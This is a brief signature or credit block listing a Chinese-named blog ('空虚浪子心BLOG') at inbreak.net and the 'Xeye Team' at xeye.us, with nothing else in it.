空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/